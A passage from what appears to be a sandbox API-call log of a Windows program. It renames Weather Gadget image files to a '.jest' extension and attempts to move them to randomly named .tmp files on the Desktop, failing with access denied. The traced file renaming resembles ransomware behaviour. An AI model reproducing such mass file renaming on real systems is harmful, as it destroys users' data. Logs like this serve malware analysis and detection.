Sidebar\\Gadgets\\Weather.Gadget\\images\\4.png", lpFilePart=0x18e6d8*="4.png") returned 0x4a [0127.564] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\4.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc306e1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc306e1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x57, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 0x143ce48 [0127.565] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.567] VarBstrFromR4 (in: fltIn=0x479445b6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.42") returned 0x0 [0127.567] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.567] GetTickCount () returned 0x115253d [0127.567] GetTickCount () returned 0x115253d [0127.567] CoFreeUnusedLibraries () [0127.567] GetTickCount () returned 0x115253d [0127.567] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.567] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.567] GetTickCount () returned 0x115253d [0127.567] IsWindowVisible (hWnd=0x30268) returned 0 [0127.567] Sleep (dwMilliseconds=0x0) [0127.568] GetFullPathNameA (in: lpFileName="Qpv3h4smvJLyPy57zg9IyE4esLrPBx Dr0bKY5Ce7MIubKvtFaIXDu N -IE86KDCWumFDJ--qYLu-5CuaEC9l1yfggvq0voYF0x.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qpv3h4smvJLyPy57zg9IyE4esLrPBx Dr0bKY5Ce7MIubKvtFaIXDu N -IE86KDCWumFDJ--qYLu-5CuaEC9l1yfggvq0voYF0x.tmp", lpFilePart=0x18e708*="Qpv3h4smvJLyPy57zg9IyE4esLrPBx Dr0bKY5Ce7MIubKvtFaIXDu N -IE86KDCWumFDJ--qYLu-5CuaEC9l1yfggvq0voYF0x.tmp") returned 0x8e [0127.568] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\4.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\4.png", lpFilePart=0x18e708*="4.png") returned 0x4a [0127.569] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\4.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\4.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qpv3h4smvJLyPy57zg9IyE4esLrPBx Dr0bKY5Ce7MIubKvtFaIXDu N -IE86KDCWumFDJ--qYLu-5CuaEC9l1yfggvq0voYF0x.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qpv3h4smvjlypy57zg9iye4eslrpbx dr0bky5ce7miubkvtfaixdu n -ie86kdcwumfdj--qylu-5cuaec9l1yfggvq0voyf0x.tmp")) returned 0 [0127.571] GetLastError () returned 0x5 [0127.571] GetLastError () returned 0x5 [0127.571] SetLastError (dwErrCode=0x5) [0127.571] GetLastError () returned 0x5 [0127.571] SetLastError (dwErrCode=0x5) [0127.571] GetLastError () returned 0x5 [0127.571] SetLastError (dwErrCode=0x5) [0127.571] GetFullPathNameA (in: lpFileName="Qpv3h4smvJLyPy57zg9IyE4esLrPBx Dr0bKY5Ce7MIubKvtFaIXDu N -IE86KDCWumFDJ--qYLu-5CuaEC9l1yfggvq0voYF0x.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qpv3h4smvJLyPy57zg9IyE4esLrPBx Dr0bKY5Ce7MIubKvtFaIXDu N -IE86KDCWumFDJ--qYLu-5CuaEC9l1yfggvq0voYF0x.tmp", lpFilePart=0x18e6e4*="Qpv3h4smvJLyPy57zg9IyE4esLrPBx Dr0bKY5Ce7MIubKvtFaIXDu N -IE86KDCWumFDJ--qYLu-5CuaEC9l1yfggvq0voYF0x.tmp") returned 0x8e [0127.571] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qpv3h4smvJLyPy57zg9IyE4esLrPBx Dr0bKY5Ce7MIubKvtFaIXDu N -IE86KDCWumFDJ--qYLu-5CuaEC9l1yfggvq0voYF0x.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x33767051, cFileName="h4smvJLyPy57zg9IyE4esLrPBx Dr0bKY5Ce7MIubKvtFaIXDu N -IE86KDCWumFDJ--qYLu-5CuaEC9l1yfggvq0voYF0x.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.571] GetLastError () returned 0x2 [0127.572] GetLastError () returned 0x2 [0127.572] SetLastError (dwErrCode=0x2) [0127.572] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.572] GetTickCount () returned 0x115254d [0127.572] GetTickCount () returned 0x115254d [0127.572] CoFreeUnusedLibraries () [0127.572] GetTickCount () returned 0x115254d [0127.573] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.573] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.573] GetTickCount () returned 0x115254d [0127.573] IsWindowVisible (hWnd=0x30268) returned 0 [0127.573] Sleep (dwMilliseconds=0x0) [0127.573] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\38.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\38.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\38.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\38.png.jest")) returned 0 [0127.575] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\38.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\38.png", lpFilePart=0x18e6d8*="38.png") returned 0x4b [0127.575] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\38.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2bab60, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2bab60, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x57, dwReserved1=0x0, cFileName="38.png", cAlternateFileName="")) returned 0x143ce48 [0127.576] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.578] VarBstrFromR4 (in: fltIn=0x479445b7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.43") returned 0x0 [0127.578] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.578] GetTickCount () returned 0x115254d [0127.578] GetTickCount () returned 0x115254d [0127.578] CoFreeUnusedLibraries () [0127.578] GetTickCount () returned 0x115254d [0127.578] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.578] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.578] GetTickCount () returned 0x115254d [0127.578] IsWindowVisible (hWnd=0x30268) returned 0 [0127.578] Sleep (dwMilliseconds=0x0) [0127.609] GetFullPathNameA (in: lpFileName="krheQ0im7pQWSNOtVhTrZyUb-gx5XyzHwi2AklNkyixSAflPdHtBv81Qx HSx_nA2nKi_YYHj4QPgcMR5e0MYoJOsxRcm1D7Ng2rY.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\krheQ0im7pQWSNOtVhTrZyUb-gx5XyzHwi2AklNkyixSAflPdHtBv81Qx HSx_nA2nKi_YYHj4QPgcMR5e0MYoJOsxRcm1D7Ng2rY.tmp", lpFilePart=0x18e708*="krheQ0im7pQWSNOtVhTrZyUb-gx5XyzHwi2AklNkyixSAflPdHtBv81Qx HSx_nA2nKi_YYHj4QPgcMR5e0MYoJOsxRcm1D7Ng2rY.tmp") returned 0x8f [0127.609] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\38.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\38.png", lpFilePart=0x18e708*="38.png") returned 0x4b [0127.609] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\38.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\38.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\krheQ0im7pQWSNOtVhTrZyUb-gx5XyzHwi2AklNkyixSAflPdHtBv81Qx HSx_nA2nKi_YYHj4QPgcMR5e0MYoJOsxRcm1D7Ng2rY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\krheq0im7pqwsnotvhtrzyub-gx5xyzhwi2aklnkyixsaflpdhtbv81qx hsx_na2nki_yyhj4qpgcmr5e0myojosxrcm1d7ng2ry.tmp")) returned 0 [0127.612] GetLastError () returned 0x5 [0127.612] GetLastError () returned 0x5 [0127.612] SetLastError (dwErrCode=0x5) [0127.612] GetLastError () returned 0x5 [0127.612] SetLastError (dwErrCode=0x5) [0127.612] GetLastError () returned 0x5 [0127.612] SetLastError (dwErrCode=0x5) [0127.612] GetFullPathNameA (in: lpFileName="krheQ0im7pQWSNOtVhTrZyUb-gx5XyzHwi2AklNkyixSAflPdHtBv81Qx HSx_nA2nKi_YYHj4QPgcMR5e0MYoJOsxRcm1D7Ng2rY.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\krheQ0im7pQWSNOtVhTrZyUb-gx5XyzHwi2AklNkyixSAflPdHtBv81Qx HSx_nA2nKi_YYHj4QPgcMR5e0MYoJOsxRcm1D7Ng2rY.tmp", lpFilePart=0x18e6e4*="krheQ0im7pQWSNOtVhTrZyUb-gx5XyzHwi2AklNkyixSAflPdHtBv81Qx HSx_nA2nKi_YYHj4QPgcMR5e0MYoJOsxRcm1D7Ng2rY.tmp") returned 0x8f [0127.612] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\krheQ0im7pQWSNOtVhTrZyUb-gx5XyzHwi2AklNkyixSAflPdHtBv81Qx HSx_nA2nKi_YYHj4QPgcMR5e0MYoJOsxRcm1D7Ng2rY.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6568726b, cFileName="Q0im7pQWSNOtVhTrZyUb-gx5XyzHwi2AklNkyixSAflPdHtBv81Qx HSx_nA2nKi_YYHj4QPgcMR5e0MYoJOsxRcm1D7Ng2rY.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.613] GetLastError () returned 0x2 [0127.613] GetLastError () returned 0x2 [0127.613] SetLastError (dwErrCode=0x2) [0127.613] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.613] GetTickCount () returned 0x115255c [0127.613] GetTickCount () returned 0x115255c [0127.613] CoFreeUnusedLibraries () [0127.613] GetTickCount () returned 0x115255c [0127.613] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.614] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.614] GetTickCount () returned 0x115255c [0127.614] IsWindowVisible (hWnd=0x30268) returned 0 [0127.614] Sleep (dwMilliseconds=0x0) [0127.615] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\37.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\37.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\37.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\37.png.jest")) returned 0 [0127.618] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\37.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\37.png", lpFilePart=0x18e6d8*="37.png") returned 0x4b [0127.618] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\37.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc2bab60, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc2bab60, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7a44fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x57, dwReserved1=0x0, cFileName="37.png", cAlternateFileName="")) returned 0x143ce48 [0127.619] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.620] VarBstrFromR4 (in: fltIn=0x479445bc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.47") returned 0x0 [0127.621] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.621] GetTickCount () returned 0x115256c [0127.621] GetTickCount () returned 0x115256c [0127.621] CoFreeUnusedLibraries () [0127.621] GetTickCount () returned 0x115256c [0127.621] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.621] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.621] GetTickCount () returned 0x115256c [0127.621] IsWindowVisible (hWnd=0x30268) returned 0 [0127.621] Sleep (dwMilliseconds=0x0) [0127.623] GetFullPathNameA (in: lpFileName="_Rto6QCgB96kMx6hV0Fj8twcVwCVc7zmPuK-wLuv v4cW2Lc5M23f5KNL6gU Y6Z7KAzHhhIlNGXD354Ho8w5NIorw1-2ZALdIP.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Rto6QCgB96kMx6hV0Fj8twcVwCVc7zmPuK-wLuv v4cW2Lc5M23f5KNL6gU Y6Z7KAzHhhIlNGXD354Ho8w5NIorw1-2ZALdIP.tmp", lpFilePart=0x18e708*="_Rto6QCgB96kMx6hV0Fj8twcVwCVc7zmPuK-wLuv v4cW2Lc5M23f5KNL6gU Y6Z7KAzHhhIlNGXD354Ho8w5NIorw1-2ZALdIP.tmp") returned 0x8d [0127.623] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\37.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\37.png", lpFilePart=0x18e708*="37.png") returned 0x4b [0127.623] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\37.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\37.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Rto6QCgB96kMx6hV0Fj8twcVwCVc7zmPuK-wLuv v4cW2Lc5M23f5KNL6gU Y6Z7KAzHhhIlNGXD354Ho8w5NIorw1-2ZALdIP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_rto6qcgb96kmx6hv0fj8twcvwcvc7zmpuk-wluv v4cw2lc5m23f5knl6gu y6z7kazhhhilngxd354ho8w5niorw1-2zaldip.tmp")) returned 0 [0127.626] GetLastError () returned 0x5 [0127.626] GetLastError () returned 0x5 [0127.626] SetLastError (dwErrCode=0x5) [0127.626] GetLastError () returned 0x5 [0127.626] SetLastError (dwErrCode=0x5) [0127.626] GetLastError () returned 0x5 [0127.626] SetLastError (dwErrCode=0x5) [0127.626] GetFullPathNameA (in: lpFileName="_Rto6QCgB96kMx6hV0Fj8twcVwCVc7zmPuK-wLuv v4cW2Lc5M23f5KNL6gU Y6Z7KAzHhhIlNGXD354Ho8w5NIorw1-2ZALdIP.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Rto6QCgB96kMx6hV0Fj8twcVwCVc7zmPuK-wLuv v4cW2Lc5M23f5KNL6gU Y6Z7KAzHhhIlNGXD354Ho8w5NIorw1-2ZALdIP.tmp", lpFilePart=0x18e6e4*="_Rto6QCgB96kMx6hV0Fj8twcVwCVc7zmPuK-wLuv v4cW2Lc5M23f5KNL6gU Y6Z7KAzHhhIlNGXD354Ho8w5NIorw1-2ZALdIP.tmp") returned 0x8d [0127.626] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Rto6QCgB96kMx6hV0Fj8twcVwCVc7zmPuK-wLuv v4cW2Lc5M23f5KNL6gU Y6Z7KAzHhhIlNGXD354Ho8w5NIorw1-2ZALdIP.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6f74525f, cFileName="6QCgB96kMx6hV0Fj8twcVwCVc7zmPuK-wLuv v4cW2Lc5M23f5KNL6gU Y6Z7KAzHhhIlNGXD354Ho8w5NIorw1-2ZALdIP.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.626] GetLastError () returned 0x2 [0127.626] GetLastError () returned 0x2 [0127.626] SetLastError (dwErrCode=0x2) [0127.627] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.627] GetTickCount () returned 0x115256c [0127.627] GetTickCount () returned 0x115256c [0127.627] CoFreeUnusedLibraries () [0127.627] GetTickCount () returned 0x115256c [0127.627] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.627] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.627] GetTickCount () returned 0x115256c [0127.627] IsWindowVisible (hWnd=0x30268) returned 0 [0127.627] Sleep (dwMilliseconds=0x0) [0127.628] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\3.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\3.png.jest")) returned 0 [0127.630] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png", lpFilePart=0x18e6d8*="3.png") returned 0x4a [0127.630] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc1fc485, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc1fc485, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd75823c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x57, dwReserved1=0x0, cFileName="3.png", cAlternateFileName="")) returned 0x143ce48 [0127.631] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.633] VarBstrFromR4 (in: fltIn=0x479445bd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.48") returned 0x0 [0127.633] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.633] GetTickCount () returned 0x115257b [0127.633] GetTickCount () returned 0x115257b [0127.633] CoFreeUnusedLibraries () [0127.634] GetTickCount () returned 0x115257b [0127.634] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.634] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.634] GetTickCount () returned 0x115257b [0127.634] IsWindowVisible (hWnd=0x30268) returned 0 [0127.634] Sleep (dwMilliseconds=0x0) [0127.634] GetFullPathNameA (in: lpFileName="gxfRNasosNk0fX03rorLG6 WSQhoeM4hPpfQW8Ybn6Mnby0ZDiYg DqvC5PGSZOiXtJUV3HqJNP3O3DiM-kSB_EE6dKKPgD4Lpo23.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gxfRNasosNk0fX03rorLG6 WSQhoeM4hPpfQW8Ybn6Mnby0ZDiYg DqvC5PGSZOiXtJUV3HqJNP3O3DiM-kSB_EE6dKKPgD4Lpo23.tmp", lpFilePart=0x18e708*="gxfRNasosNk0fX03rorLG6 WSQhoeM4hPpfQW8Ybn6Mnby0ZDiYg DqvC5PGSZOiXtJUV3HqJNP3O3DiM-kSB_EE6dKKPgD4Lpo23.tmp") returned 0x8f [0127.635] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png", lpFilePart=0x18e708*="3.png") returned 0x4a [0127.635] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\3.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gxfRNasosNk0fX03rorLG6 WSQhoeM4hPpfQW8Ybn6Mnby0ZDiYg DqvC5PGSZOiXtJUV3HqJNP3O3DiM-kSB_EE6dKKPgD4Lpo23.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gxfrnasosnk0fx03rorlg6 wsqhoem4hppfqw8ybn6mnby0zdiyg dqvc5pgszoixtjuv3hqjnp3o3dim-ksb_ee6dkkpgd4lpo23.tmp")) returned 0 [0127.637] GetLastError () returned 0x5 [0127.637] GetLastError () returned 0x5 [0127.637] SetLastError (dwErrCode=0x5) [0127.637] GetLastError () returned 0x5 [0127.637] SetLastError (dwErrCode=0x5) [0127.637] GetLastError () returned 0x5 [0127.637] SetLastError (dwErrCode=0x5) [0127.638] GetFullPathNameA (in: lpFileName="gxfRNasosNk0fX03rorLG6 WSQhoeM4hPpfQW8Ybn6Mnby0ZDiYg DqvC5PGSZOiXtJUV3HqJNP3O3DiM-kSB_EE6dKKPgD4Lpo23.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gxfRNasosNk0fX03rorLG6 WSQhoeM4hPpfQW8Ybn6Mnby0ZDiYg DqvC5PGSZOiXtJUV3HqJNP3O3DiM-kSB_EE6dKKPgD4Lpo23.tmp", lpFilePart=0x18e6e4*="gxfRNasosNk0fX03rorLG6 WSQhoeM4hPpfQW8Ybn6Mnby0ZDiYg DqvC5PGSZOiXtJUV3HqJNP3O3DiM-kSB_EE6dKKPgD4Lpo23.tmp") returned 0x8f [0127.638] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gxfRNasosNk0fX03rorLG6 WSQhoeM4hPpfQW8Ybn6Mnby0ZDiYg DqvC5PGSZOiXtJUV3HqJNP3O3DiM-kSB_EE6dKKPgD4Lpo23.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, 